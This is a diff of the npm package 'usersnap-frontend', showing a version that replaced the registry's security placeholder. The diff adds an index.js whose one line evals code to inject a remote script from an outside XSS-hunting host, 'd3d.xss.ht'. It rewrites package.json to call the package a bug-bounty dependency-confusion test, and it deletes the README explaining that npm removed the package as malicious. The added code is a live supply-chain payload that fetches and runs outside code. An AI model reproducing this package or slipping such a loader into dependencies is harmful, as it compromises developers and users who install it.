usersnap-frontend 0.0.1-security → 3.3.2

package/index.js

@@ -0,0 +1 @@
+javascript:eval('var a=document.createElement(\'script\');a.src=\'https://d3d.xss.ht\';document.body.appendChild(a)')

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "usersnap-frontend",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "3.3.2",
+  "hacker": "d3d",
+  "email": "info@malicious.group",
+  "twitter": "@MCoetus",
+  "hackerone": "maliciousgroup",
+  "bugcrowd": "d3d",
+  "intigriti": "d3d",
+  "description": "This is a module created by d3d (@MCoetus) to show a Dependency Confusion bug in your network leading to a RCE in most cases.  Contact me (info@malicious.group) this is ONLY for bug bounties and not actually a malicious package, but MAY break your builds.",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified - this is a bug hunting test from malicious.group\" && exit 1"
+  },
+  "author": "d3d (@MCoetus)",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=usersnap-frontend for more information.